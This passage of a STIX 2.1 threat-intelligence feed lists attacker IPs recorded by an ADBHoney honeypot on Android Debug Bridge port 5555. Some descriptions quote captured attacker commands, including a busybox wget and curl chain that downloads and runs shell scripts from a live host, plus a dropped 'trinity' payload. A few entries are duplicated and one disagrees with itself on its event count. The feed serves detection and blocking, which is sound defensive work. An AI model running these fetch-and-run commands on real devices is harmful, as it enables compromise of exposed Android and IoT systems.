      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T04:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T03:24:32.000Z | last_seen=2026-03-23T03:26:19.888Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1e4bdfdc-bd52-422a-b43b-ae031dfa5542",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.23.190.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:00:11.000Z",
      "valid_until": "2026-04-24T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T03:24:32.000Z",
          "last_seen": "2026-03-23T03:26:19.888Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T04:01:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T03:36:13.000Z | last_seen=2026-03-23T03:38:04.546Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--52de5d54-80bc-44b4-90c1-7f2e02a3f968",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.182.235.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:01:34.000Z",
      "valid_until": "2026-04-24T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T03:36:13.000Z",
          "last_seen": "2026-03-23T03:38:04.546Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T04:01:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T03:24:32.000Z | last_seen=2026-03-23T03:26:19.888Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1e4bdfdc-bd52-422a-b43b-ae031dfa5542",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.23.190.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:01:34.000Z",
      "valid_until": "2026-04-24T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T03:24:32.000Z",
          "last_seen": "2026-03-23T03:26:19.888Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-23T04:01:51.000Z | last_seen=2026-03-23T04:13:23.837Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--f12481a3-e44f-4f14-9363-d556a890660c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:00:02.000Z",
      "valid_until": "2026-04-24T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-23T04:01:51.000Z",
          "last_seen": "2026-03-23T04:13:23.837Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-23T05:43:14.000Z | last_seen=2026-03-23T05:53:29.394Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fff4a3d9-3694-4f5a-8738-72d29230568d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.64.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:00:13.000Z",
      "valid_until": "2026-04-24T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-23T05:43:14.000Z",
          "last_seen": "2026-03-23T05:53:29.394Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T06:32:21.000Z | last_seen=2026-03-23T06:33:31.286Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--932cbb99-e451-4a2e-ba09-b339604e98ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.197.94.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:00:03.000Z",
      "valid_until": "2026-04-24T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T06:32:21.000Z",
          "last_seen": "2026-03-23T06:33:31.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T07:00:42.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T06:32:21.000Z | last_seen=2026-03-23T06:33:31.286Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--932cbb99-e451-4a2e-ba09-b339604e98ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.197.94.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:00:42.000Z",
      "valid_until": "2026-04-24T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T06:32:21.000Z",
          "last_seen": "2026-03-23T06:33:31.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=VN; asn=7552; asn_org=Viettel Group; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-23T08:08:11.000Z | last_seen=2026-03-23T08:19:24.839Z | ports=5555 | cc=VN | asn=7552 | org=Viettel Group",
      "id": "indicator--94caec20-e16f-499f-ac4b-a9ef7b139f48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '115.72.153.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T09:00:03.000Z",
      "valid_until": "2026-04-24T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-23T08:08:11.000Z",
          "last_seen": "2026-03-23T08:19:24.839Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "7552"
          ],
          "org": [
            "Viettel Group"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T08:04:56.000Z | last_seen=2026-03-23T08:05:57.524Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--fdfd29cd-d94c-4f87-9862-69f13214c2b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.194.92.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T09:00:03.000Z",
      "valid_until": "2026-04-24T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T08:04:56.000Z",
          "last_seen": "2026-03-23T08:05:57.524Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T09:15:52.000Z | last_seen=2026-03-23T09:16:57.824Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--129bca9e-a984-4428-b136-7c2c6ee1e24d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.0.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T10:00:03.000Z",
      "valid_until": "2026-04-24T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T09:15:52.000Z",
          "last_seen": "2026-03-23T09:16:57.824Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-23T10:53:31.000Z | last_seen=2026-03-23T11:03:42.969Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:00:03.000Z",
      "valid_until": "2026-04-24T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-23T10:53:31.000Z",
          "last_seen": "2026-03-23T11:03:42.969Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-23T10:52:56.000Z | last_seen=2026-03-23T10:54:02.656Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8e36a05a-84ea-4f11-bf68-3ceb2722544d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:00:03.000Z",
      "valid_until": "2026-04-24T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-23T10:52:56.000Z",
          "last_seen": "2026-03-23T10:54:02.656Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T10:06:05.000Z | last_seen=2026-03-23T10:07:10.806Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--34c9d3a6-e889-4dd1-9680-799d5ce94e7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:00:03.000Z",
      "valid_until": "2026-04-24T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T10:06:05.000Z",
          "last_seen": "2026-03-23T10:07:10.806Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=57; ports=5555; cc=UA; asn=48683; asn_org=Bilink LLC; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=57 | first_seen=2026-03-23T11:30:17.000Z | last_seen=2026-03-23T11:42:47.093Z | ports=5555 | cc=UA | asn=48683 | org=Bilink LLC | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--0127630f-eb6b-484e-bd33-ef9252a73773",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.105.107.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T12:00:03.000Z",
      "valid_until": "2026-04-24T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 57,
          "first_seen": "2026-03-23T11:30:17.000Z",
          "last_seen": "2026-03-23T11:42:47.093Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "48683"
          ],
          "org": [
            "Bilink LLC"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=57; ports=5555; cc=UA; asn=48683; asn_org=Bilink LLC; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=57 | first_seen=2026-03-23T11:30:17.000Z | last_seen=2026-03-23T11:42:47.093Z | ports=5555 | cc=UA | asn=48683 | org=Bilink LLC | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--0127630f-eb6b-484e-bd33-ef9252a73773",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.105.107.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T12:00:03.000Z",
      "valid_until": "2026-04-24T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 57,
          "first_seen": "2026-03-23T11:30:17.000Z",
          "last_seen": "2026-03-23T11:42:47.093Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "48683"
          ],
          "org": [
            "Bilink LLC"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T13:00:02.000Z",
